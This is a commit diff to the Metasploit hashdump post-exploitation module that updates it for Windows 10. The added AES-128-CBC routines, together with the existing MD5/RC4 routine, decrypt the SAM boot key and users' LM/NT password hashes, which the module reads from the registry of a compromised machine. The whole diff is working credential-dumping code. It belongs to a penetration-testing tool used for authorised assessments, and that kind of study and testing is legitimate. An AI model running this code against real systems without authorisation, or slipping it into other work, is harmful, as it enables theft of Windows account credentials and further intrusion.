Make hashdump module work on Windows 10, fix #7936
parent
9ce0bb9345
commit
a01796d114
|
@ -139,6 +139,9 @@ class MetasploitModule < Msf::Post
|
||||||
vf = vf.data
|
vf = vf.data
|
||||||
ok.close
|
ok.close
|
||||||
|
|
||||||
|
revision = vf[0x68, 4].unpack('V')[0]
|
||||||
|
|
||||||
|
if revision == 1
|
||||||
hash = Digest::MD5.new
|
hash = Digest::MD5.new
|
||||||
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
||||||
|
|
||||||
|
@ -149,6 +152,18 @@ class MetasploitModule < Msf::Post
|
||||||
return hbootkey
|
return hbootkey
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if revision == 2
|
||||||
|
aes = OpenSSL::Cipher.new('aes-128-cbc')
|
||||||
|
aes.key = bootkey
|
||||||
|
aes.padding = 0
|
||||||
|
aes.decrypt
|
||||||
|
aes.iv = vf[0x78, 16]
|
||||||
|
return aes.update(vf[0x88, 16]) # we need only 16 bytes
|
||||||
|
end
|
||||||
|
|
||||||
|
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
|
||||||
|
end
|
||||||
|
|
||||||
def capture_user_keys
|
def capture_user_keys
|
||||||
users = {}
|
users = {}
|
||||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
|
||||||
|
@ -200,21 +215,16 @@ class MetasploitModule < Msf::Post
|
||||||
users.each_key do |rid|
|
users.each_key do |rid|
|
||||||
user = users[rid]
|
user = users[rid]
|
||||||
|
|
||||||
hashlm_enc = ""
|
hashlm_off = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
|
||||||
hashnt_enc = ""
|
hashlm_len = user[:V][0xa0, 4].unpack("V")[0]
|
||||||
|
hashlm_enc = user[:V][hashlm_off, hashlm_len]
|
||||||
|
|
||||||
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
|
hashnt_off = user[:V][0xa8, 4].unpack("V")[0] + 0xcc
|
||||||
|
hashnt_len = user[:V][0xac, 4].unpack("V")[0]
|
||||||
|
hashnt_enc = user[:V][hashnt_off, hashnt_len]
|
||||||
|
|
||||||
#Check if hashes exist (if 20, then we've got a hash)
|
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
|
||||||
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
|
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
|
||||||
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
|
|
||||||
|
|
||||||
#If we have a hashes, then parse them (Note: NT is dependant on LM)
|
|
||||||
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
|
|
||||||
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
|
|
||||||
|
|
||||||
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
|
|
||||||
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
users
|
users
|
||||||
|
@ -241,16 +251,37 @@ class MetasploitModule < Msf::Post
|
||||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||||
end
|
end
|
||||||
|
|
||||||
def decrypt_user_hash(rid, hbootkey, enchash, pass)
|
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
|
||||||
|
revision = enchash[2, 2].unpack('v')[0]
|
||||||
|
|
||||||
if(enchash.empty?)
|
if revision == 1
|
||||||
case pass
|
if enchash.length < 20
|
||||||
when @sam_lmpass
|
return default
|
||||||
return @sam_empty_lm
|
|
||||||
when @sam_ntpass
|
|
||||||
return @sam_empty_nt
|
|
||||||
end
|
end
|
||||||
return ""
|
|
||||||
|
md5 = Digest::MD5.new
|
||||||
|
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
||||||
|
|
||||||
|
rc4 = OpenSSL::Cipher.new('rc4')
|
||||||
|
rc4.key = md5.digest
|
||||||
|
okey = rc4.update(enchash[4, 16])
|
||||||
|
|
||||||
|
elsif revision == 2
|
||||||
|
if enchash.length < 40
|
||||||
|
return default
|
||||||
|
end
|
||||||
|
|
||||||
|
aes = OpenSSL::Cipher.new('aes-128-cbc')
|
||||||
|
aes.key = hbootkey[0, 16]
|
||||||
|
aes.padding = 0
|
||||||
|
aes.decrypt
|
||||||
|
aes.iv = enchash[8, 16]
|
||||||
|
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
|
||||||
|
|
||||||
|
else
|
||||||
|
print_error("Unknown user hash revision: #{revision}")
|
||||||
|
return default
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
des_k1, des_k2 = rid_to_key(rid)
|
des_k1, des_k2 = rid_to_key(rid)
|
||||||
|
@ -263,13 +294,6 @@ class MetasploitModule < Msf::Post
|
||||||
d2.padding = 0
|
d2.padding = 0
|
||||||
d2.key = des_k2
|
d2.key = des_k2
|
||||||
|
|
||||||
md5 = Digest::MD5.new
|
|
||||||
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
|
||||||
|
|
||||||
rc4 = OpenSSL::Cipher.new('rc4')
|
|
||||||
rc4.key = md5.digest
|
|
||||||
okey = rc4.update(enchash)
|
|
||||||
|
|
||||||
d1o = d1.decrypt.update(okey[0,8])
|
d1o = d1.decrypt.update(okey[0,8])
|
||||||
d1o << d1.final
|
d1o << d1.final
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue